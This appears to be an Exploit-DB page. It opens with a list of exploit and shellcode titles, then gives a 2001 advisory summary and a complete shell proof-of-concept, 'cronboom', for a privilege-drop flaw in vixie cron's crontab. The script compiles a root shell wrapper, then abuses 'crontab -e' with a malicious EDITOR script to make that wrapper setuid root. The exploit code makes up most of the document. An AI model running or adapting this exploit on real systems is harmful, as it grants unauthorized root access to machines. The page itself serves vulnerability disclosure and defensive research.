
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
90 lines
No EOL
2.4 KiB
Bash
Executable file
90 lines
No EOL
2.4 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/2687/info
|
|
|
|
Vixie cron is an implementation of the popular UNIX program that runs user-specified programs at periodic scheduled times.
|
|
|
|
When a parsing error occurs after a modification operation, crontab will fail to drop privileges correctly for subsequent modification operations.
|
|
|
|
This vulnerability may be exploited to gain root privileges locally.
|
|
|
|
#!/bin/sh
|
|
#
|
|
# cronboom - simple proof-of-concept exploit for vixie cron version 3.1pl1
|
|
#
|
|
# synopsis:
|
|
# the crontab file maintenance program (crontab) fails to drop privileges
|
|
# before invoking the editor under certain circumstances.
|
|
#
|
|
# description:
|
|
# a serialization error exists in some versions of the file maintenance
|
|
# program, crontab. the vulnerability was introduced in versions which
|
|
# were patched for seperate vulnerability in fall of 2000 (see Bugtraq
|
|
# ID #1960).
|
|
#
|
|
# when a parsing error occurs after a modification operation, crontab will
|
|
# fail to drop privileges correctly for subsequent modification operations.
|
|
# because the program is installed setuid root, it may be possible for a
|
|
# local user to gain root privileges.
|
|
#
|
|
# affected versions:
|
|
# cron_3.0pl1-57.2 distributed with Debian Linux 2.2.
|
|
#
|
|
# note that copies of the program with the patch mentioned above are likely
|
|
# to also be vulnerable.
|
|
#
|
|
# references:
|
|
# https://www.securityfocus.com/bid/2687
|
|
#
|
|
# 05/07/01 cairnsc@securityfocus.com
|
|
|
|
CRONTAB=/usr/bin/crontab
|
|
|
|
if ! test -x $CRONTAB; then
|
|
echo "** unable to locate crontab executable, exiting"
|
|
exit 1
|
|
fi
|
|
|
|
cat > vcsh.c << EOF
|
|
#include <unistd.h>
|
|
|
|
int main() {
|
|
setuid(0);
|
|
setgid(0);
|
|
execl("/bin/sh", "sh", NULL);
|
|
}
|
|
EOF
|
|
|
|
echo "** compiling shell wrapper as $PWD/vcsh"
|
|
cc -o $PWD/vcsh $PWD/vcsh.c
|
|
|
|
if ! test -x $PWD/vcsh; then
|
|
echo "** compilation failed, exiting"
|
|
exit 1
|
|
fi
|
|
|
|
echo "** creating simple exploit script as $PWD/vcex.sh"
|
|
cat > vcex.sh << EOF
|
|
#!/bin/sh
|
|
|
|
sleep 1 && echo "foo" >> \$1
|
|
|
|
if test -f $PWD/vcboom; then
|
|
chown root.root $PWD/vcsh
|
|
chmod 4755 $PWD/vcsh
|
|
rm $PWD/vcboom
|
|
else
|
|
touch $PWD/vcboom
|
|
fi
|
|
EOF
|
|
|
|
chmod 0755 $PWD/vcex.sh
|
|
|
|
echo "** running $CRONTAB -e"
|
|
echo "**"
|
|
echo "** enter 'yes' at the first prompt, then enter 'no' at the second"
|
|
echo
|
|
|
|
(EDITOR=$PWD/vcex.sh $CRONTAB -e)
|
|
|
|
echo
|
|
echo "** done, the shell wrapper should be suid root"
|
|
exit 0 |